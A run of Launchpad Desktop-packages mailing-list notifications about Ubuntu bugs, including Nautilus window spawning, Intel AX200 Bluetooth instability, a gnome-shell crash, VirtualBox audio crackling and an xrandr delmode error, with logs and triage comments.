[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
I actually use Dash to Panel instead of the Ubuntu Dock. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944794] Re: Intel AX200 bluetooth is not stable on Ubuntu 18.04
** Package changed: ubuntu => alsa-driver (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1944794 Title: Intel AX200 bluetooth is not stable on Ubuntu 18.04 Status in alsa-driver package in Ubuntu: New Bug description: dmesg message: [127123.832636] input: MINISO-K66 Consumer Control as /devices/pci:00/:00:14.0/usb1/1-4/1-4:1.0/bluetooth/hci0/hci0:256/0005:05D6:000A.0017/input/input75 [127123.832863] hid-generic 0005:05D6:000A.0017: input,hidraw3: BLUETOOTH HID v2.40 Device [MINISO-K66] on 48:51:c5:7e:bd:9f [127210.072008] userif-3: sent link down event. [127210.072012] userif-3: sent link up event. [127538.625230] userif-3: sent link down event. [127538.625236] userif-3: sent link up event. [127810.100467] userif-3: sent link down event. [127810.100471] userif-3: sent link up event. [128720.890536] Bluetooth: hci0: Received unexpected HCI Event [128720.890541] Bluetooth: hci0: Received unexpected HCI Event [128720.890542] Bluetooth: hci0: Received unexpected HCI Event [128720.890544] Bluetooth: hci0: Received unexpected HCI Event [128720.890545] Bluetooth: hci0: Received unexpected HCI Event [128720.890547] Bluetooth: hci0: Received unexpected HCI Event [128720.890548] Bluetooth: hci0: Received unexpected HCI Event [128720.890550] Bluetooth: hci0: Received unexpected HCI Event [128720.890551] Bluetooth: hci0: Received unexpected HCI Event [128720.890553] Bluetooth: hci0: Received unexpected HCI Event [128720.890554] Bluetooth: hci0: Received unexpected HCI Event [128720.890556] Bluetooth: hci0: Received unexpected HCI Event [128720.890557] Bluetooth: hci0: Received unexpected HCI Event [128720.890559] Bluetooth: hci0: Received unexpected HCI Event [128720.890560] Bluetooth: hci0: Received unexpected HCI Event [128720.890562] Bluetooth: hci0: Received unexpected HCI Event [128720.890563] Bluetooth: hci0: Received unexpected HCI Event [128720.890565] Bluetooth: hci0: Received unexpected HCI Event [128720.890566] Bluetooth: hci0: Received unexpected HCI Event [128720.890568] Bluetooth: hci0: Received unexpected HCI Event [128720.890569] Bluetooth: hci0: Received unexpected HCI Event [128721.002494] Bluetooth: hci0: Received unexpected HCI Event [128721.416496] Bluetooth: hci0: Received unexpected HCI Event [128722.251531] Bluetooth: hci0: Received unexpected HCI Event [128722.251536] Bluetooth: hci0: Received unexpected HCI Event [128722.254493] Bluetooth: hci0: Received unexpected HCI Event [128722.254496] Bluetooth: hci0: Received unexpected HCI Event [128722.254498] Bluetooth: hci0: Received unexpected HCI Event [128722.254500] Bluetooth: hci0: Received unexpected HCI Event [128723.277471] Bluetooth: hci0: command 0x1405 tx timeout [128778.444082] Bluetooth: hci0: link tx timeout [128778.444089] Bluetooth: hci0: killing stalled connection 7c:ce:58:22:8b:80 bluetooth.service status: sudo systemctl status bluetooth.service [sudo] password for yanghuafang: ● bluetooth.service - Bluetooth service Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2021-09-23 10:56:03 CST; 1 day 1h ago Docs: man:bluetoothd(8) Main PID: 17790 (bluetoothd) Status: "Running" Tasks: 1 (limit: 4915) CGroup: /system.slice/bluetooth.service └─17790 /usr/lib/bluetooth/bluetoothd Sep 24 09:25:53 yanghuafang-XPS-15-9570 bluetoothd[17790]: /org/bluez/hci0/dev_7C_CE_58_22_8B_80/fd7: fd(35) ready Sep 24 11:04:27 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:04:30 yanghuafang-XPS-15-9570 bluetoothd[17790]: /org/bluez/hci0/dev_7C_CE_58_22_8B_80/fd8: fd(35) ready Sep 24 11:32:02 yanghuafang-XPS-15-9570 bluetoothd[17790]: No reply to Suspend request Sep 24 11:32:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:32:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) Sep 24 11:33:03 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:33:03 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) Sep 24 11:33:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:33:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.4.0-86.97~18.04.1-generic
[Desktop-packages] [Bug 1944794] [NEW] Intel AX200 bluetooth is not stable on Ubuntu 18.04
You have been subscribed to a public bug: dmesg message: [127123.832636] input: MINISO-K66 Consumer Control as /devices/pci:00/:00:14.0/usb1/1-4/1-4:1.0/bluetooth/hci0/hci0:256/0005:05D6:000A.0017/input/input75 [127123.832863] hid-generic 0005:05D6:000A.0017: input,hidraw3: BLUETOOTH HID v2.40 Device [MINISO-K66] on 48:51:c5:7e:bd:9f [127210.072008] userif-3: sent link down event. [127210.072012] userif-3: sent link up event. [127538.625230] userif-3: sent link down event. [127538.625236] userif-3: sent link up event. [127810.100467] userif-3: sent link down event. [127810.100471] userif-3: sent link up event. [128720.890536] Bluetooth: hci0: Received unexpected HCI Event [128720.890541] Bluetooth: hci0: Received unexpected HCI Event [128720.890542] Bluetooth: hci0: Received unexpected HCI Event [128720.890544] Bluetooth: hci0: Received unexpected HCI Event [128720.890545] Bluetooth: hci0: Received unexpected HCI Event [128720.890547] Bluetooth: hci0: Received unexpected HCI Event [128720.890548] Bluetooth: hci0: Received unexpected HCI Event [128720.890550] Bluetooth: hci0: Received unexpected HCI Event [128720.890551] Bluetooth: hci0: Received unexpected HCI Event [128720.890553] Bluetooth: hci0: Received unexpected HCI Event [128720.890554] Bluetooth: hci0: Received unexpected HCI Event [128720.890556] Bluetooth: hci0: Received unexpected HCI Event [128720.890557] Bluetooth: hci0: Received unexpected HCI Event [128720.890559] Bluetooth: hci0: Received unexpected HCI Event [128720.890560] Bluetooth: hci0: Received unexpected HCI Event [128720.890562] Bluetooth: hci0: Received unexpected HCI Event [128720.890563] Bluetooth: hci0: Received unexpected HCI Event [128720.890565] Bluetooth: hci0: Received unexpected HCI Event [128720.890566] Bluetooth: hci0: Received unexpected HCI Event [128720.890568] Bluetooth: hci0: Received unexpected HCI Event [128720.890569] Bluetooth: hci0: Received unexpected HCI Event [128721.002494] Bluetooth: hci0: Received unexpected HCI Event [128721.416496] Bluetooth: hci0: Received unexpected HCI Event [128722.251531] Bluetooth: hci0: Received unexpected HCI Event [128722.251536] Bluetooth: hci0: Received unexpected HCI Event [128722.254493] Bluetooth: hci0: Received unexpected HCI Event [128722.254496] Bluetooth: hci0: Received unexpected HCI Event [128722.254498] Bluetooth: hci0: Received unexpected HCI Event [128722.254500] Bluetooth: hci0: Received unexpected HCI Event [128723.277471] Bluetooth: hci0: command 0x1405 tx timeout [128778.444082] Bluetooth: hci0: link tx timeout [128778.444089] Bluetooth: hci0: killing stalled connection 7c:ce:58:22:8b:80 bluetooth.service status: sudo systemctl status bluetooth.service [sudo] password for yanghuafang: ● bluetooth.service - Bluetooth service Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2021-09-23 10:56:03 CST; 1 day 1h ago Docs: man:bluetoothd(8) Main PID: 17790 (bluetoothd) Status: "Running" Tasks: 1 (limit: 4915) CGroup: /system.slice/bluetooth.service └─17790 /usr/lib/bluetooth/bluetoothd Sep 24 09:25:53 yanghuafang-XPS-15-9570 bluetoothd[17790]: /org/bluez/hci0/dev_7C_CE_58_22_8B_80/fd7: fd(35) ready Sep 24 11:04:27 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:04:30 yanghuafang-XPS-15-9570 bluetoothd[17790]: /org/bluez/hci0/dev_7C_CE_58_22_8B_80/fd8: fd(35) ready Sep 24 11:32:02 yanghuafang-XPS-15-9570 bluetoothd[17790]: No reply to Suspend request Sep 24 11:32:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:32:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) Sep 24 11:33:03 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:33:03 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) Sep 24 11:33:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: Can't get HIDP connection info Sep 24 11:33:33 yanghuafang-XPS-15-9570 bluetoothd[17790]: connect error: Device or resource busy (16) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.4.0-86.97~18.04.1-generic 5.4.133 Uname: Linux 5.4.0-86-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.26 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: yanghuafang 4442 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Fri Sep 24 11:48:29 2021 InstallationDate: Installed on 2020-06-01 (479 days ago) InstallationMedia: Ubuntu 16.04.6 LTS "Xenial Xerus" - Release amd64
[Desktop-packages] [Bug 1942031] Re: gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent() from cogl_onscre
** Summary changed: - gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent() + gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent() from cogl_onscreen_glx_dispose() from g_object_unref() from clutter_stage_view_finalize() -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libx11 in Ubuntu. https://bugs.launchpad.net/bugs/1942031 Title: gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent() from cogl_onscreen_glx_dispose() from g_object_unref() from clutter_stage_view_finalize() Status in Mutter: Unknown Status in gnome-shell package in Ubuntu: Confirmed Status in libx11 package in Ubuntu: Confirmed Status in mutter package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 40.2-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/11d90a7db51d11df7d99a6ef6e5aa31eb678d273 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/mutter/+bug/1942031/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1632529] Re: sound problem
Are you still experiencing this problem in VirtualBox? ** Changed in: pulseaudio (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1632529 Title: sound problem Status in pulseaudio package in Ubuntu: Incomplete Bug description: I am experiencing this problem everytime even though I reinstalled the entire linux system. The same audio problem exists everytime. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-42.62-generic 4.4.21 Uname: Linux 4.4.0-42-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: rajeev 1716 F pulseaudio Date: Tue Oct 11 20:26:11 2016 InstallationDate: Installed on 2016-10-11 (0 days ago) InstallationMedia: Ubuntu 14.04.5 LTS "Trusty Tahr" - Release amd64 (20160803) ProcEnviron: LANGUAGE=en_US TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not accessible: Permission denied No PulseAudio daemon running, or not running as session daemon. SourcePackage: pulseaudio Symptom: audio UpgradeStatus: Upgraded to xenial on 2016-10-12 (0 days ago) dmi.bios.date: 12/01/2006 dmi.bios.vendor: innotek GmbH dmi.bios.version: VirtualBox dmi.board.name: VirtualBox dmi.board.vendor: Oracle Corporation dmi.board.version: 1.2 dmi.chassis.type: 1 dmi.chassis.vendor: Oracle Corporation dmi.modalias: dmi:bvninnotekGmbH:bvrVirtualBox:bd12/01/2006:svninnotekGmbH:pnVirtualBox:pvr1.2:rvnOracleCorporation:rnVirtualBox:rvr1.2:cvnOracleCorporation:ct1:cvr: dmi.product.name: VirtualBox dmi.product.version: 1.2 dmi.sys.vendor: innotek GmbH To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1632529/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944769] Re: [VirtualBox] [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound
** Summary changed: - [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound + [VirtualBox] [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1944769 Title: [VirtualBox] [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound Status in pulseaudio package in Ubuntu: New Bug description: Hey! I installed Ubuntu with VM yesturday and it turned out that the sound is still fine on Windows, but when i use Ubuntu via VM, it sounds like endless crackers every single second, i could also compared it to hickups. Tried to find a solution in the internet, but it didn't help at all ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: pulseaudio 1:13.99.1-1ubuntu3.11 ProcVersionSignature: Ubuntu 5.11.0-36.40~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-36-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.20 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: timcpau 20990 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: XFCE Date: Thu Sep 23 23:49:13 2021 InstallationDate: Installed on 2021-09-22 (1 days ago) InstallationMedia: Xubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819.1) SourcePackage: pulseaudio Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:I82801AAICH successful Symptom_Card: Built-in Audio - Intel 82801AA-ICH Symptom_PulseAudioLog: сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.30' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.34' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 23 23:06:05 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.233' (uid=1000 pid=20990 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") Symptom_PulsePlaybackTest: PulseAudio playback test failed Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/01/2006 dmi.bios.vendor: innotek GmbH dmi.bios.version: VirtualBox dmi.board.name: VirtualBox dmi.board.vendor: Oracle Corporation dmi.board.version: 1.2 dmi.chassis.type: 1 dmi.chassis.vendor: Oracle Corporation dmi.modalias: dmi:bvninnotekGmbH:bvrVirtualBox:bd12/01/2006:svninnotekGmbH:pnVirtualBox:pvr1.2:sku:rvnOracleCorporation:rnVirtualBox:rvr1.2:cvnOracleCorporation:ct1:cvr: dmi.product.family: Virtual Machine dmi.product.name: VirtualBox dmi.product.version: 1.2 dmi.sys.vendor: innotek GmbH To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1944769/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1942031] Re: gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent()
This has been added to the release notes for Impish Indri. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libx11 in Ubuntu. https://bugs.launchpad.net/bugs/1942031 Title: gnome-shell crashed with SIGSEGV in _XSend() from XQueryExtension() from InitDisplayInfoEntry() from __glXLookupDisplay() from CommonMakeCurrent() Status in Mutter: Unknown Status in gnome-shell package in Ubuntu: Confirmed Status in libx11 package in Ubuntu: Confirmed Status in mutter package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 40.2-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/11d90a7db51d11df7d99a6ef6e5aa31eb678d273 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/mutter/+bug/1942031/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
Thanks for the update, the description is a bit confusing now though. When you wrote 'the launcher icon' you didn't talk about the dock which is the default ubuntu configuration? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944763] Re: sed temp file appears in nautilus but not in ls -a
Thank you for your bug report, could you share the output of $ gio monitor (where is the path to the directory where you are doing the change) which filesystem are you using? ** Changed in: nautilus (Ubuntu) Importance: Undecided => Low ** Changed in: nautilus (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944763 Title: sed temp file appears in nautilus but not in ls -a Status in nautilus package in Ubuntu: Incomplete Bug description: **Expected behaviour**: Temp files created by sed should disappear from Nautilus after automatic deletion **Observed behaviour**: Temp files showed in Nautilus for some time. **Description**: After using: sed -i 's/CAD/cad/g' FILENAME The temp files created by sed (sed#) continued showing in Nautilus for some minutes (they disappear if I close and reopen Nautilus), and I could interact with them (see permissions, double click to open (which errored out by not finding an app to open it), but couldn't change them (move, change permissions, delete) These temp files did not appear with ls -a. The file is 3.6kb long. The behaviour doesn't happen with: sed -i 's/cad/CAD/g' FILENAME but only with: sed -i 's/CAD/cad/g' FILENAME **Outputs**: >>>df . Sist. Arq. Blocos de 1K Usado Disponível Uso% Montado em /dev/sda2 459924552 235486388 201005512 54% / >>>lsb_release -rd: Description: Ubuntu 21.04 Release: 21.04 >>>apt-cache policy nautilus nautilus: Instalado: 1:3.38.2-1ubuntu2 Candidato: 1:3.38.2-1ubuntu2 Tabela de versão: *** 1:3.38.2-1ubuntu2 500 500 http://mirror.ufscar.br/ubuntu hirsute-updates/main amd64 Packages 100 /var/lib/dpkg/status 1:3.38.2-1ubuntu1 500 500 http://mirror.ufscar.br/ubuntu hirsute/main amd64 Packages ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: nautilus 1:3.38.2-1ubuntu2 ProcVersionSignature: Ubuntu 5.11.0-34.36-generic 5.11.22 Uname: Linux 5.11.0-34-generic x86_64 ApportVersion: 2.20.11-0ubuntu65.3 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Thu Sep 23 15:51:04 2021 ExecutablePath: /usr/bin/nautilus GsettingsChanges: b'org.gnome.nautilus.window-state' b'initial-size' b'(860, 495)' b'org.gnome.nautilus.preferences' b'executable-text-activation' b"'ask'" b'org.gnome.nautilus.list-view' b'default-column-order' b"['name', 'size', 'type', 'owner', 'group', 'permissions', 'where', 'date_modified', 'date_modified_with_time', 'date_accessed', 'recency', 'starred', 'detailed_type']" InstallationDate: Installed on 2021-04-20 (155 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) ProcEnviron: SHELL=/bin/bash XDG_RUNTIME_DIR= PATH=(custom, user) LANGUAGE=pt_BR:pt:en LANG=pt_BR.UTF-8 SourcePackage: nautilus UpgradeStatus: Upgraded to hirsute on 2021-06-08 (107 days ago) usr_lib_nautilus: evince40.1-1 file-roller 3.38.1-1 nautilus-extension-gnome-terminal 3.38.1-1ubuntu1 nautilus-share0.7.3-2ubuntu3 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944763/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 364091] Re: xrandr error with delmode
I am also still experiencing this problem with 20.04. $ xrandr --delmode DP-1 1024x768 X Error of failed request: BadAccess (attempt to access private resource denied) Major opcode of failed request: 140 (RANDR) Minor opcode of failed request: 19 (RRDeleteOutputMode) Serial number of failed request: 32 Current serial number in output stream: 33 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to x11-xserver-utils in Ubuntu. https://bugs.launchpad.net/bugs/364091 Title: xrandr error with delmode Status in x11-xserver-utils package in Ubuntu: Confirmed Bug description: Binary package hint: x11-xserver-utils Ubuntu 9.04 Realase Candidate, i386 My setup: Sapphire 2600 XT AGP + Compaq P1100 monitor (maximux resolution supported 1920x1440) connected via DVI port Output of xrandr Screen 0: minimum 320 x 200, current 1600 x 1200, maximum 2048 x 1600 DVI-0 connected 1600x1200+0+0 (normal left inverted right x axis y axis) 380mm x 290mm 2048x1536 60.0 1920x1440 75.0 60.0 1856x1392 75.0 60.0 1792x1344 75.0 60.0 1600x1200 85.0*75.0 70.0 65.0 60.0 1680x1050 84.9 74.9 69.9 60.0 1600x1024 60.2 1400x1050 85.0 74.8 70.0 60.0 1280x1024 85.0 75.0 60.0 1440x900 59.9 1280x960 85.0 60.0 1360x768 59.8 1152x864 100.0 85.1 85.0 75.0 75.0 70.0 60.0 1024x768 85.0 75.0 70.1 60.0 43.5 832x62474.6 800x60085.1 85.1 72.2 75.0 60.3 56.2 640x48085.0 75.0 72.8 75.0 66.7 59.9 720x40087.8 85.0 70.1 640x40085.1 640x35085.1 VGA-0 disconnected (normal left inverted right x axis y axis) Maximum default resolution "2048 x 1600" reported, is wrong for Compaq P1100 monitor and i tried to delete with the command: $ xrandr --delmode DVI-0 2048x1536 X Error of failed request: BadAccess (attempt to access private resource denied) Major opcode of failed request: 150 (RANDR) Minor opcode of failed request: 19 () Serial number of failed request: 23 Current serial number in output stream: 24 Note: GDM (Login Screen) Bad Screen Refresh Rate [lspci] 00:00.0 Host bridge [0600]: Intel Corporation 82865G/PE/P DRAM Controller/Host-Hub Interface [8086:2570] (rev 02) Subsystem: ASRock Incorporation Device [1849:2570] 01:00.0 VGA compatible controller [0300]: ATI Technologies Inc RV 630 XT AGP [Radeon HD 2600 XT AGP] [1002:9586] Subsystem: PC Partner Limited Device [174b:0028] --- Architecture: i386 CurrentDmesg: [ 24.596026] eth0: no IPv6 routers present [ 26.752026] end_request: I/O error, dev fd0, sector 0 [ 26.784033] end_request: I/O error, dev fd0, sector 0 DistroRelease: Ubuntu 10.04 DkmsStatus: Error: [Errno 2] No such file or directory InstallationMedia: Ubuntu 10.04 LTS "Lucid Lynx" - Release i386 (20100429) Package: x11-xserver-utils 7.5+1ubuntu2 PackageArchitecture: i386 ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-2.6.32-21-generic root=UUID=11fd8e9e-15b4-4eba-bb1d-434d4d5282b3 ro quiet splash ProcEnviron: LANG=en_US.utf8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 2.6.32-21.32-generic 2.6.32.11+drm33.2 Tags: lucid lucid Uname: Linux 2.6.32-21-generic i686 UserGroups: adm admin cdrom dialout lpadmin plugdev sambashare dmi.bios.date: 11/07/2008 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: L1.72 dmi.board.name: ConRoe865PE dmi.board.version: 3.00 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrL1.72:bd11/07/2008:svn:pnConRoe865PE:pvr3.00:rvn:rnConRoe865PE:rvr3.00: dmi.product.name: ConRoe865PE dmi.product.version: 3.00 glxinfo: Error: [Errno 2] No such file or directory system: distro: Ubuntu codename: lucid architecture: i686 kernel: 2.6.32-21-generic To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/x11-xserver-utils/+bug/364091/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944769] [NEW] [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound
Public bug reported: Hey! I installed Ubuntu with VM yesturday and it turned out that the sound is still fine on Windows, but when i use Ubuntu via VM, it sounds like endless crackers every single second, i could also compared it to hickups. Tried to find a solution in the internet, but it didn't help at all ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: pulseaudio 1:13.99.1-1ubuntu3.11 ProcVersionSignature: Ubuntu 5.11.0-36.40~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-36-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.20 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: timcpau 20990 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: XFCE Date: Thu Sep 23 23:49:13 2021 InstallationDate: Installed on 2021-09-22 (1 days ago) InstallationMedia: Xubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819.1) SourcePackage: pulseaudio Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:I82801AAICH successful Symptom_Card: Built-in Audio - Intel 